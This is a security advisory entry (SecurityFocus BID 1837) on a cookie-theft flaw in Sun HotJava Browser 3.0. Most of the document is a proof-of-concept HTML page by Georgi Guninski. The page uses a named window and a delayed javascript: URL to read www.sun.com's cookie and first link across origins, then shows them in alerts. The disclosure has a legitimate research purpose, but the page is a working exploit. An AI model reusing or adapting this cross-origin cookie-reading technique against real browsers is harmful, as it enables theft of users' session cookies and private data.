source: http://www.securityfocus.com/bid/1837/info A malicious website operator may be able to obtain cookies from a target system browsing with Sun HotJava Browser. The Document Object Model (DOM) of arbitrary URLs can be accessed if a specially formed javascript is launched from a named window. Cookies that may contain sensitive information can be acquired through this method. <HTML> <HEAD> <TITLE> Demo - HotJava Browser 3.0 JavaScript security vulnerability </TITLE> </HEAD> <BODY> Demo - HotJava Browser 3.0 JavaScript security vulnerability <BR> This page shows the cookie and the first link from from www.sun.com in 10 seconds <BR> Written by Georgi Guninski <BR> <SCRIPT> window.open("http://www.sun.com","g"); setTimeout("window.open('javascript:alert(\"The first link is: \"+document.links[0].href);alert(\"The cookie is: \"+document.cookie)','g')",10000); </SCRIPT> <center>(C) Copyright 2000 Georgi Guninski</center> <BR> <center> | <a href="http://www.guninski.com">Home</a> | <a href="browsers.html">Internet Explorer</a> | <a href="win2k.html">Windows 2000</a> | <a href="exploit.html">AIX</a> | <a href="netscape.html">Netscape</a> | <a href="greets.html">Greets</a> | <a href="index.html">More...</a> | </center> </BODY> </HTML>